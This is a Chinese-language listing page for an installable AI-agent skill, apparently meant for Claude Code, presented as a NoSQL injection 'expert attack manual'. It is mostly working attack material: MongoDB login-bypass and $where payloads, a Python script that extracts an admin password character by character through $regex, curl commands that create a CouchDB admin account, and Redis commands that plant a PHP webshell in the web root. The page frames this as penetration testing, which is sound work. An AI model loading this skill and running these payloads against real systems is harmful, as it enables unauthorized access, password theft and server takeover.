mcpField
N
nosql-injection

nosql-injection

github.com/yaklang安全2.6k3.5k 次安装6 周前更新
代码仓库

关于 nosql-injection

面向安全测试的 NoSQL 注入技能,介绍 MongoDB、CouchDB 和 Redis 的相关模式,帮助测试人员检查运算符注入、登录绕过、盲提取及数据库特定攻击面。

主要功能

  1. 01MongoDB 运算符注入
  2. 02登录绕过与盲提取
  3. 03聚合管道注入
  4. 04CouchDB 管理接口检查
  5. 05Redis 暴露与注入检查

适用场景

  1. 01测试登录接口是否接受运算符对象
  2. 02通过正则响应差异枚举字段
  3. 03检查聚合管道中的用户输入

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill nosql-injection

安装后在 Claude Code 中输入/nosql-injection确认已加载。

详细介绍

技能:NoSQL 注入——专家攻击手册

AI 加载指令:NoSQL 注入与 SQL 注入有本质区别。涵盖 MongoDB 运算符注入、身份验证绕过、盲数据提取、聚合管道注入,以及 Redis/CouchDB 特有攻击。只了解 SQLi 模式的测试人员经常会漏掉这类漏洞。


1. 核心概念——运算符注入

SQL 注入会跳出字符串字面量。
NoSQL 注入会注入查询运算符,从而改变查询逻辑。

MongoDB 示例——正常查询:

db.users.find({username: "alice", password: "secret"})

通过 JSON 运算符注入:

{
  "username": "admin",
  "password": {"$gt": ""}
}

→ 结果变为:find({username:"admin", password:{$gt:""}}) → password > "" → 始终为 true!


2. MONGODB——登录绕过

JSON 请求体注入(使用 JSON Content-Type 的 API)
POST /api/login
Content-Type: application/json

{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
PHP $_POST 数组注入(URL 编码表单)
username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*
Ruby / Python params 数组注入

与 PHP 相同——使用方括号表示法注入对象:

?username[%24ne]=invalid&password[%24ne]=invalid

%24 = URL 编码的 $


3. 用于注入的 MONGODB 运算符

运算符含义用例
$ne不等于{"password": {"$ne": "x"}} → 始终匹配
$gt大于{"password": {"$gt": ""}} → 所有非空密码都匹配
$gte大于或等于与 $gt 类似
$lt小于{"password": {"$lt": "~"}} → 所有 ASCII 字符都匹配
$regex正则表达式匹配{"username": {"$regex": "adm.*"}}
$whereJS 表达式最危险——代码执行
$exists字段存在{"admin": {"$exists": true}}
$in在数组中{"username": {"$in": ["admin","user"]}}

4. 通过 $REGEX 盲提取数据

与 SQLi 中的二分查找类似,使用 $regex 逐个字符提取字段值:

// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}

// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}

// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}

响应差异:登录成功与登录失败可构成布尔预言机。

使用 NoSQLMap 或在字符集上执行二分查找的自定义脚本进行自动化。


5. MONGODB $WHERE 注入(JS 执行)

$where 会在 MongoDB 上下文中执行 JavaScript。
只能使用当前文档的字段——无法访问系统。但可以滥用逻辑:

{"$where": "this.username == 'admin' && this.password.length > 0"}

// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}

// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}

限制:$where 不会执行操作系统命令——这是服务器端 JS 注入(不要与命令注入混淆)。


6. 聚合管道注入

当用户可控数据进入 $match 或 $group 阶段时:

// Vulnerable code:
db.collection.aggregate([
  {$match: {category: userInput}},  // userInput = {"$ne": null}
  ...
])

注入运算符以绕过限制:

// Input as object:
{"$ne": null}  → matches all categories
{"$regex": ".*"}  → matches all

7. NOSQL HTTP 参数污染

某些框架(Express.js、PHP)会将重复参数解析为数组:

?filter=value1&filter=value2 → filter = ["value1", "value2"]

利用 Node.js 中 qs 库的解析行为:

?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection

8. COUCHDB 攻击

HTTP 管理 API(如果已暴露)
# List databases:
curl http://target.com:5984/_all_dbs

# Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true

# Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'

9. REDIS 注入

Redis 未经身份验证便暴露(6379)——通过用于 Redis 查询的输入注入命令:

# Via SSRF or direct injection:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE

身份验证绕过(使用简单密码的旧版 Redis,配置了 requirepass):

AUTH password
AUTH 123456
AUTH redis
AUTH admin

10. 检测载荷

将以下内容发送到任何由 NoSQL 后端处理的输入:

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=

JSON 变体测试(如果端点基于表单,将 Content-Type 更改为 application/json):

{"username": "admin", "password": {"$ne": ""}}

11. NOSQL 与 SQL——主要区别

方面SQLiNoSQLi
语言SQL 语法查询运算符对象
注入途径字符串拼接对象/运算符注入
常见信号引号导致响应异常{$ne:x} 会改变响应
提取方法UNION / 基于错误$regex 字符预言机
身份验证绕过' OR 1=1--{"password":{"$ne":""}}
操作系统命令xp_cmdshell(MSSQL)少见(需要 $where + CVE)
指纹特征数据库特定错误消息“cannot use $” 错误

12. 测试清单

□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")

13. 盲 NoSQL 提取自动化

$regex 逐字符提取(Python 模板)
import requests
import string

url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in charset:
        payload = {
            "username": "admin",
            "password[$regex]": f"^{password}{c}.*"
        }
        r = requests.post(url, json=payload)
        if "success" in r.text or r.status_code == 302:
            password += c
            found = True
            print(f"Found: {password}")
            break
    if not found:
        break

print(f"Final password: {password}")
通过 URL 编码的 GET 参数使用 $regex
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*
# Iterate through charset until login succeeds
重复键绕过
// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100

14. 聚合管道注入

当用户输入到达 MongoDB 聚合管道阶段时:

// If user controls $match stage:
db.collection.aggregate([
  { $match: { user: INPUT } }  // INPUT from user
])

// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents

// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
    from: "admin_users",       // attacker-chosen collection
    localField: "user_id",
    foreignField: "_id",
    as: "leaked"
}}

// $out to write results to new collection:
{ $out: "public_collection" }  // Write query results to accessible collection
$where JavaScript 执行
// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })

// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='

参考资料:Soroush Dalili —《使用聚合管道进行 MongoDB NoSQL 注入》(2024)

注意:$where 会在服务端运行 JavaScript。除了逻辑滥用和时间侧信道外,缺少严格 V8 沙箱的旧版 MongoDB 构建曾引发 RCE 担忧;建议将任何 $where 注入点都视为高风险。

评论

支持 Markdown